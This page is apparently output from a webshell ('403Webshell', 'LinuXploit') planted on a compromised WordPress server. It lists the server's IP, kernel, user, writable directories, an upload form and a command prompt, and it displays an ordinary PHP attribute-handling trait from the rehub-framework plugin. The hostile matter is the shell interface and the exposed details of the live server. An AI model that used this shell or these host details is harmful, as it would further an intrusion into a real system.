403Webshell
Server IP : 5.129.245.98  /  Your IP : 216.73.216.246
Web Server : Apache/2.4.66 (Debian)
System : Linux 1b8c17c336b9 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/plugins/rehub-framework/gutenberg/blocks/basic/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/plugins/rehub-framework/gutenberg/blocks/basic/trait-inline-attributes.php
<?php

namespace Rehub\Gutenberg\Blocks\Basic;
defined('ABSPATH') OR exit;

trait Inline_Attributes_Trait {
	protected $_render_attributes = array();

	public function add_render_attribute($element, $key = null, $value = null, $overwrite = false){
		if(is_array($element)) {
			foreach($element as $element_key => $attributes) {
				$this->add_render_attribute($element_key, $attributes, null, $overwrite);
			}

			return $this;
		}

		if(is_array($key)) {
			foreach($key as $attribute_key => $attributes) {
				$this->add_render_attribute($element, $attribute_key, $attributes, $overwrite);
			}

			return $this;
		}

		if(empty($this->_render_attributes[$element][$key])) {
			$this->_render_attributes[$element][$key] = [];
		}

		settype($value, 'array');

		if($overwrite) {
			$this->_render_attributes[$element][$key] = $value;
		} else {
			$this->_render_attributes[$element][$key] = array_merge($this->_render_attributes[$element][$key], $value);
		}

		return $this;
	}

	public function set_render_attribute($element, $key = null, $value = null){
		return $this->add_render_attribute($element, $key, $value, true);
	}

	public function get_render_attribute_string($element){
		if(empty($this->_render_attributes[$element])) {
			return '';
		}

		$render_attributes = $this->_render_attributes[$element];

		$attributes = [];

		foreach($render_attributes as $attribute_key => $attribute_values) {
			$attributes[] = sprintf('%1$s="%2$s"', $attribute_key, esc_attr(implode(' ', $attribute_values)));
		}

		return implode(' ', $attributes);
	}

	public function print_render_attribute_string($element){
		echo $this->get_render_attribute_string($element);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit